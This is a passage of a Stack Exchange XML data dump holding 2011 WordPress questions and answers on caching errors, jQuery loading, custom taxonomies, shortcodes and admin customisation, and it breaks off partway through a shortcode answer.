  <row Id="17017" PostTypeId="1" CreationDate="2011-05-11T23:55:02.453" Score="0" ViewCount="133" Body="&lt;p&gt;Enabling minify is causing cforms (ajax enabled forms) to produce the following error on submit, whereby it hangs: &lt;strong&gt;POST dearearth.net/wp-content/plugins/cforms/lib_ajax.php 500 (Internal Server Error)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current minify settings: &lt;a href=&quot;http://loomn.it/baK&quot; rel=&quot;nofollow&quot;&gt;http://loomn.it/baK&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form page: &lt;a href=&quot;http://dearearth.net/contact&quot; rel=&quot;nofollow&quot;&gt;http://dearearth.net/contact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to get past this (aside from disabling minify altogether)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2011-08-10T02:21:42.187" Title="W3 Total Cache Minify + cforms II = POST /wp-content/plugins/cforms/lib_ajax.php 500 (Internal Server Error)" Tags="&lt;plugin-w3-total-cache&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17018" PostTypeId="2" ParentId="17016" CreationDate="2011-05-12T00:11:48.783" Score="0" ViewCount="" Body="&lt;p&gt;I believe your looking for something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $args = array(&#xA;        'posts_per_page' =&amp;gt; 1,&#xA;        'post_type' =&amp;gt; 'inventory',&#xA;        'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'inventory-category',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( &#xA;                    'bulk-racks' &#xA;                )&#xA;            )&#xA;        )       &#xA;    );&#xA;    query_posts( $args ); while ( have_posts() ): the_post();&#xA;&#xA;    // do stuff here&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Heres how to properly register a post type according to the &lt;a href=&quot;http://codex.wordpress.org/Post_Types&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex page on post types&lt;/a&gt; and how to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;register taxonomies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-12T01:28:34.693" LastActivityDate="2011-05-12T01:28:34.693" CommentCount="8" />
  <row Id="17019" PostTypeId="1" AcceptedAnswerId="17023" CreationDate="2011-05-12T00:17:10.883" Score="0" ViewCount="141" Body="&lt;p&gt;I want to have a login username and password field in the header, and a registration link beside it. I want the registration link to go away once the user is logged in and the login fields to be replace with a logout link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found these two snippets but they don't help me achieve what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &#xA; &lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-05-12T02:13:21.253" Title="How do I add Login fields and registration link to the header?" Tags="&lt;login&gt;&lt;registration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17020" PostTypeId="2" ParentId="17017" CreationDate="2011-05-12T00:18:57.047" Score="0" ViewCount="" Body="&lt;p&gt;I believe its a bug which is currently being attended to. Read the article below, which describes the current versions problems. &lt;a href=&quot;http://wpcandy.com/reports/quick-fix-w3-total-cache-bug-in-most-recent-version&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache Minify Bug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you've upgraded to the latest version in case its been resolved.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-12T00:18:57.047" CommentCount="1" />
  <row Id="17022" PostTypeId="1" AcceptedAnswerId="17024" CreationDate="2011-05-12T00:36:42.040" Score="0" ViewCount="249" Body="&lt;p&gt;I'm trying to test my wordpress page with some simple jQuery script but it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've loaded the script with &lt;code&gt;wp_enqueue_script('jquery');&lt;/code&gt; in &lt;code&gt;functions.php&lt;/code&gt; as explained in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Load_a_default_WordPress_script_from_a_non-default_location&quot; rel=&quot;nofollow&quot;&gt;wordpress guide&lt;/a&gt; but something's buggy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm testing the page using &lt;code&gt;FireBug&lt;/code&gt; installed in &lt;code&gt;Firefox 4&lt;/code&gt; and if I take a look to the loaded scripts list it's all ok, but it also return me the error &lt;code&gt;jQuery is not defined&lt;/code&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the instructions on the &lt;code&gt;noConflict&lt;/code&gt; mode but it still won't work for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// functions.php&#xA;&amp;lt;?php&#xA;    function init_scripts () {&#xA;        if (!is_admin()) {&#xA;            wp_enqueue_script('jquery');&#xA;        } &#xA;    }&#xA;    add_action('init', 'init_scripts');&#xA;?&amp;gt;&#xA;&#xA;// header.php&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    (function($) {&#xA;        $(document).ready(function() {&#xA;            alert('hello?');&#xA;        });&#xA;    }(jQuery));&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I'm wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;http://www.mkyong.com/jquery/jquery-is-not-working-in-wordpress-solution/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; too and it's says jQuery object is not defined here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// jquery from ajax.googleapis.com is correctly loaded&#xA;$j=jQuery.noConflict(); // firebug says jQuery is not defined by here&#xA;&#xA;$j(document).ready(function(){&#xA;    alert('test');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="5287" LastEditorDisplayName="" LastEditDate="2011-05-12T10:56:17.840" LastActivityDate="2011-05-12T15:38:32.717" Title="Firebug says jQuery is loaded but $() and jQuery() are not defined" Tags="&lt;jquery&gt;&lt;include&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17023" PostTypeId="2" ParentId="17019" CreationDate="2011-05-12T00:38:31.713" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;wp_login_form(); // Codex: http://codex.wordpress.org/Function_Reference/wp_login_form&#xA;// or:&#xA;wp_loginout(); // Codex: http://codex.wordpress.org/Function_Reference/wp_loginout&#xA;if ( ! is_user_logged_in() ) // Codex: http://codex.wordpress.org/Function_Reference/is_user_logged_in&#xA;    wp_register('', ''); // Codex: http://codex.wordpress.org/Function_Reference/wp_register&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-12T02:13:21.253" LastActivityDate="2011-05-12T02:13:21.253" CommentCount="2" />
  <row Id="17024" PostTypeId="2" ParentId="17022" CreationDate="2011-05-12T01:08:58.453" Score="4" ViewCount="" Body="&lt;p&gt;jQuery needs to be outside the wrapper like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;(function($) {&#xA;    $(document).ready(function() {&#xA;        alert('hello?');&#xA;    });&#xA;})(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;A better way would be:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;// $() will work as an alias for jQuery() inside of this function&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also make sure any inline script tags are &lt;strong&gt;&lt;em&gt;AFTER&lt;/em&gt;&lt;/strong&gt; your call to &lt;code&gt;wp_head();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;And even better way:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of adding your script tags inline create a functions.js file containing all your extra functions etc.  Enqueue it with jQuery as a dependency.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'c3m_enqueue_scripts' );&#xA;function c3m_enqueue_scripts() {&#xA;    wp_register_script( 'custom-functions', TEMPLATEPATH .'/path/to/functions.js', array( 'jquery' ) TRUE);&#xA;    wp_enqueue_script( 'jquery' );&#xA;    wp_enqueue_script( 'custom-functions' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-12T15:38:32.717" LastActivityDate="2011-05-12T15:38:32.717" CommentCount="6" />
  <row Id="17025" PostTypeId="1" AcceptedAnswerId="17034" CreationDate="2011-05-12T01:19:25.640" Score="1" ViewCount="137" Body="&lt;p&gt;Is there someway to change the title in wp-admin? Been looking all over google but no one seem to mention it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want to get rid of &quot;&amp;#8212; WordPress&quot; and possibly change the &quot;&amp;lsaquo;&quot; into some other symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-05-12T05:35:08.410" Title="Change page title in admin area" Tags="&lt;wp-admin&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="17026" PostTypeId="1" AcceptedAnswerId="17052" CreationDate="2011-05-12T02:02:01.097" Score="1" ViewCount="138" Body="&lt;p&gt;I'm setting up a simple WP install to host a friend's podcast, and looking into various podcasting plugins. I need something that makes it easy to upload a podcast, attach it to a post, and publish a feed I can provide to iTunes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the buzz seems to indicate that &lt;a href=&quot;http://www.mightyseek.com/podpress&quot; rel=&quot;nofollow&quot;&gt;PodPress&lt;/a&gt; and &lt;a href=&quot;http://www.blubrry.com/powerpress/&quot; rel=&quot;nofollow&quot;&gt;Blubrry PowerPress&lt;/a&gt; are the two best plugins to use for this, but I haven't found a good list of what one offers over the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the strengths and weaknesses of these plugins? Are there any other great podcasting-related plugins I should be considering?&lt;/p&gt;&#xA;" OwnerUserId="243" LastActivityDate="2011-05-12T11:15:41.617" Title="Blubrry PowerPress vs. PodPress?" Tags="&lt;plugin-recommendation&gt;&lt;podcasting&gt;" AnswerCount="2" />
  <row Id="17027" PostTypeId="2" ParentId="17026" CreationDate="2011-05-12T02:17:42.353" Score="4" ViewCount="" Body="&lt;p&gt;I guess the &quot;PodPress&quot; &lt;a href=&quot;http://www.mightyseek.com/podpress/changelog&quot; rel=&quot;nofollow&quot;&gt;changelog dates&lt;/a&gt; say it all...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T02:17:42.353" />
  <row Id="17029" PostTypeId="1" AcceptedAnswerId="17384" CreationDate="2011-05-12T03:30:41.500" Score="0" ViewCount="81" Body="&lt;p&gt;So what I want to do is too have a function similar to a category or tag, but a little more robust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;strong&gt;for a podcast&lt;/strong&gt; to &lt;em&gt;list of guests for each episode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally this would do a few things:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Guest Data&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;each&lt;/em&gt; guest (added to an episode), display their:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;name, &lt;/li&gt;&#xA;&lt;li&gt;photo, &lt;/li&gt;&#xA;&lt;li&gt;twitter id, &lt;/li&gt;&#xA;&lt;li&gt;url. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Guest Page&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Clicking on their photo or name would the visitor to a page &lt;em&gt;like the authors page&lt;/em&gt;, where more info on that guest could be stored:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a short bio, &lt;/li&gt;&#xA;&lt;li&gt;all the episodes that guest has appeared on,&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Meta Box on pod cast edit screen:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The management of this would ideally be managed like categories are now, through checkboxes and names listed on the write page to select from. Further management, (adding bio, photos, ect) would be done in another panel like posts are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was custom post types or custom taxonomies, but I'm not sure which method is more feasible. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5302" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-13T12:58:06.700" LastActivityDate="2011-05-16T13:09:08.560" Title="Podcast Guest List" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;podcasting&gt;" AnswerCount="3" />
  <row Id="17030" PostTypeId="1" CreationDate="2011-05-12T04:02:17.403" Score="-1" ViewCount="73" Body="&lt;p&gt;Can anyone &lt;strong&gt;recommend a plugin&lt;/strong&gt; to accomplish the following in WP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; I have a form where a visitor can enter his contact information and list the nice to have items with a price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For example:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Item Name   |    Item price in $&#xA;--------------------------------&#xA;iPhone      |    100 &#xA;iPad        |    200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; I want the form to be able to calculate total price, add shipping and other fees and display the grand total. If possible, I'd like to also display all this in a different currency using a currency converter. For example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Totals                |    Price in $          |    Price in Euro&#xA;-----------------------------------------------------------&#xA;Total Items           |    300                 |    200&#xA;Total with Fees       |    480&#xA;Pre-Payment           |    144&#xA;Payment               |    336&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Total Items = 100+200 from the example above&#xA;Total with fees, pre-payment, and payment are calculated based on a custom formula.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; I &lt;em&gt;do not need a shopping cart or e-commerce option&lt;/em&gt;. The visitor fills out the wishlist form, sees the calculated totals and if he wants, submits this form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="5303" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-12T11:11:08.767" LastActivityDate="2011-05-12T11:11:41.543" Title="Order form for WP (similar to a wishlist)" Tags="&lt;forms&gt;" AnswerCount="1" />
  <row Id="17031" PostTypeId="1" AcceptedAnswerId="17036" CreationDate="2011-05-12T04:10:20.387" Score="-1" ViewCount="250" Body="&lt;p&gt;I've just had one questions solved over here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17016/how-to-display-posts-from-a-single-category-within-a-custom-taxonomy&quot;&gt;How to display posts from a single category within a custom taxonomy.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm wondering how to take this code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $args = array(&#xA;        'posts_per_page' =&amp;gt; 1,&#xA;        'post_type' =&amp;gt; 'inventory',&#xA;        'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'inventory-category',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( &#xA;                    'bulk-racks' &#xA;                )&#xA;            )&#xA;        )       &#xA;    );&#xA;query_posts( $args ); while ( have_posts() ): the_post();&#xA;&#xA;// do stuff here&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and call it using shortcodes, for example to display the bulk-racks category by using this or something similar [inventory-category=&quot;bulk-racks&quot;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to create a basic shortcode but I don't know how to write the function that would return the posts based on the shortcode category name input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2837" LastActivityDate="2011-05-12T06:13:47.350" Title="How to call custom taxonomy categories with shortcodes" Tags="&lt;custom-taxonomy&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="17032" PostTypeId="1" AcceptedAnswerId="17033" CreationDate="2011-05-12T04:35:07.067" Score="-1" ViewCount="114" Body="&lt;p&gt;I created a custom post type, two custom taxonomies and displayed them in the 'manage post section, but I'm getting the following warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Missing argument 2 for&#xA;  manage_posts_custom_column() in&#xA;  /home/aleche23/alexchen.info/wp-content/themes/techozoic-fluid/functions/custom-post-types.php on line 95&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Gwqgp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Create the Blocks custom post type and the Sections custom taxonomy&#xA; */&#xA;add_action('init', 'create_post_type');&#xA;&#xA;        // Register custom post types and custom taxonomies&#xA;        function create_post_type() {&#xA;            register_post_type('blocks',array(&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Blocks' ),&#xA;                    'singular_name' =&amp;gt; __( 'Block' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Block',&#xA;                    'edit_item' =&amp;gt; 'Edit Block',&#xA;                    'new_item' =&amp;gt; 'New Block',&#xA;                    'search_items' =&amp;gt; 'Search Block',&#xA;                    'not_found' =&amp;gt; 'No Blocks found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Blocks found in trash',&#xA;                ),&#xA;                'public' =&amp;gt; true,&#xA;                'hierarchical' =&amp;gt; false,&#xA;                'taxonomies' =&amp;gt; array( 'section'),&#xA;                'supports' =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;                'rewrite' =&amp;gt; array('slug'=&amp;gt;'blocks','with_front'=&amp;gt;false),&#xA;                'menu_position' =&amp;gt; 50,&#xA;            ));&#xA;            register_taxonomy('location','blocks',array(&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Locations' ),&#xA;                    'singular_name' =&amp;gt; __( 'Location' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Location',&#xA;                    'edit_item' =&amp;gt; 'Edit Location',&#xA;                    'new_item' =&amp;gt; 'New Location',&#xA;                    'search_items' =&amp;gt; 'Search Location',&#xA;                    'not_found' =&amp;gt; 'No Location found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Locations found in trash',&#xA;                    'all_items' =&amp;gt; __( 'All Locations' ),&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'location' ),&#xA;            ));&#xA;            register_taxonomy('section','blocks',array(&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Sections' ),&#xA;                    'singular_name' =&amp;gt; __( 'Section' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Section',&#xA;                    'edit_item' =&amp;gt; 'Edit Section',&#xA;                    'new_item' =&amp;gt; 'New Section',&#xA;                    'search_items' =&amp;gt; 'Search Section',&#xA;                    'not_found' =&amp;gt; 'No Sections found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Sectionss found in trash',&#xA;                    'all_items' =&amp;gt; __( 'All Sections' ),&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ),&#xA;            ));&#xA;            // Add initial terms&#xA;            if (!get_option('yoursite-blocks-initialized')) {&#xA;                $terms = array(&#xA;                    'Intro',&#xA;                    'Tagline',&#xA;                    'Mainbar',&#xA;                    'Sidebar',&#xA;                    'Featured',&#xA;                    'Content',&#xA;                );&#xA;                foreach($terms as $term) {&#xA;                    if (!get_term_by('name',$term,'section')) {&#xA;                        wp_insert_term($term, 'section');&#xA;                    }&#xA;                }&#xA;                update_option('yoursite-blocks-initialized',true);&#xA;            }&#xA;        }&#xA;        // Arrange the position of elements in the table&#xA;            add_filter('manage_blocks_posts_columns', 'manage_blocks_posts_columns');&#xA;&#xA;        function manage_blocks_posts_columns($columns) {&#xA;            $columns = array(&#xA;                'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;                'title' =&amp;gt; 'Name',&#xA;                'location_column' =&amp;gt; 'Location',&#xA;                'section_column' =&amp;gt; 'Section',&#xA;                'author' =&amp;gt; 'Author',&#xA;                'date' =&amp;gt; 'Date',&#xA;            );&#xA;            return $columns;&#xA;        }&#xA;        // Verify that we are indeed working with only the custom post type and use a switch statement to test against the column&#xA;            add_filter('manage_posts_custom_column', 'manage_posts_custom_column');&#xA;&#xA;        function manage_posts_custom_column( $column,$post_id ) {&#xA;            global $typenow;&#xA;            if ($typenow=='blocks') {&#xA;                $location_taxonomy = 'location';&#xA;                $section_taxonomy = 'section';&#xA;                switch ($column) {&#xA;                case 'location_column':&#xA;                    $location_column = get_the_terms($post_id,$location_taxonomy);&#xA;                    if (is_array($location_column)) {&#xA;                        foreach($location_column as $key =&amp;gt; $location) {&#xA;                            $edit_link = get_term_link($location,$location_taxonomy);&#xA;                            $location_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $location-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                        }&#xA;                        echo implode(' | ',$location_column);&#xA;                    }&#xA;                    break;&#xA;                case 'section_column':&#xA;                    $section_column = get_the_terms($post_id,$section_taxonomy);&#xA;                    if (is_array($section_column)) {&#xA;                        foreach($section_column as $key =&amp;gt; $section) {&#xA;                            $edit_link = get_term_link($section,$section_taxonomy);&#xA;                            $section_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $section-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                        }&#xA;                        echo implode(' | ',$section_column);&#xA;                    }&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;        // Output multiple taxonomy filters&#xA;            add_action('restrict_manage_posts' ,'restrict_manage_posts');&#xA;&#xA;        function restrict_manage_posts() {&#xA;&#xA;            // Only display these taxonomy filters on desired custom post_type listings&#xA;            global $typenow;&#xA;            if ($typenow == 'blocks') {&#xA;&#xA;                // Create an array of taxonomy slugs you want to filter by - if you want to retrieve all taxonomies, could use get_taxonomies() to build the list&#xA;                $filters = array('location', 'section');&#xA;&#xA;                foreach ($filters as $tax_slug) {&#xA;                    // Retrieve the taxonomy object&#xA;                    $tax_obj = get_taxonomy($tax_slug);&#xA;                    $tax_name = $tax_obj-&amp;gt;labels-&amp;gt;name;&#xA;                    // Retrieve array of term objects per taxonomy&#xA;                    $terms = get_terms($tax_slug);&#xA;&#xA;                    // Output html for taxonomy dropdown filter&#xA;                    echo &quot;&amp;lt;select name='$tax_slug' id='$tax_slug' class='postform'&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;option value=''&amp;gt;Show All $tax_name&amp;lt;/option&amp;gt;&quot;;&#xA;                    foreach ($terms as $term) {&#xA;                        // Output each select option line, check against the last $_GET to show the current option selected&#xA;                        echo '&amp;lt;option value='. $term-&amp;gt;slug, $_GET[$tax_slug] == $term-&amp;gt;slug ? ' selected=&quot;selected&quot;' : '','&amp;gt;' . $term-&amp;gt;name .' (' . $term-&amp;gt;count .')&amp;lt;/option&amp;gt;';&#xA;                    }&#xA;                    echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;                }&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which argument I am missing?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-12T05:21:19.397" Title="Getting the warning: Missing argument 2 for manage_posts_custom_column()?" Tags="&lt;errors&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17033" PostTypeId="2" ParentId="17032" CreationDate="2011-05-12T05:21:19.397" Score="1" ViewCount="" Body="&lt;p&gt;Change line 93 from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_posts_custom_column', 'manage_posts_custom_column');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_posts_custom_column', 'manage_posts_custom_column', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fourth argument specifies how many arguments the function &lt;code&gt;manage_posts_custom_column&lt;/code&gt; accepts (one by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_filter&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_filter()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-12T05:21:19.397" />
  <row Id="17034" PostTypeId="2" ParentId="17025" CreationDate="2011-05-12T05:35:08.410" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_filter('admin_title', 'my_admin_title', 10, 2);&#xA;&#xA;function my_admin_title($admin_title, $title)&#xA;{&#xA;    return get_bloginfo('name').' &amp;amp;bull; '.$title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also do a &lt;code&gt;str_replace&lt;/code&gt; on &lt;code&gt;$admin_title&lt;/code&gt; to remove &quot;— WordPress&quot; and change &quot;‹&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the top of the &lt;code&gt;wp-admin/admin-header.php&lt;/code&gt; file to see what is going on by default.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-12T05:35:08.410" CommentCount="1" />
  <row Id="17035" PostTypeId="2" ParentId="16718" CreationDate="2011-05-12T05:48:37.100" Score="2" ViewCount="" Body="&lt;p&gt;I did something similar with highlighting current category in navbar, you can see my answer &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2009/how-to-get-current-cat-in-navbar-in-single-post/2010#2010&quot;&gt;here&lt;/a&gt;. The hook of course won't work for you, I think a better hook would be 'nav_menu_css_class'&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-05-12T05:48:37.100" CommentCount="4" />
  <row Id="17036" PostTypeId="2" ParentId="17031" CreationDate="2011-05-12T06:13:47.350" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/category-post-shortcode/&quot; rel=&quot;nofollow&quot;&gt;category post shortcode&lt;/a&gt; to get an idea and  here is the plugin with minor modifications to call your post type and taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cat_func($atts) {&#xA;    extract(shortcode_atts(array(&#xA;            'class_name'    =&amp;gt; 'cat-post',&#xA;            'totalposts'    =&amp;gt; '-1',&#xA;            'category'      =&amp;gt; '',&#xA;            'thumbnail'     =&amp;gt; 'false',&#xA;            'excerpt'       =&amp;gt; 'true',&#xA;            'orderby'       =&amp;gt; 'post_date'&#xA;            ), $atts));&#xA;&#xA;    $output = '&amp;lt;div class=&quot;'.$class_name.'&quot;&amp;gt;';&#xA;    global $post;&#xA;    $args = array(&#xA;        'posts_per_page' =&amp;gt; $totalposts, &#xA;        'orderby' =&amp;gt; $orderby&#xA;        'post_type' =&amp;gt; 'inventory',&#xA;        'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'inventory-category',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( $category)&#xA;            )&#xA;        ));&#xA;    $myposts = NEW WP_Query($args);&#xA;&#xA;&#xA;    while($myposts-&amp;gt;have_posts()) {&#xA;        $myposts-&amp;gt;the_post;&#xA;        $output .= '&amp;lt;div class=&quot;cat-post-list&quot;&amp;gt;';&#xA;        if($thumbnail == 'true') {&#xA;        $output .= '&amp;lt;div 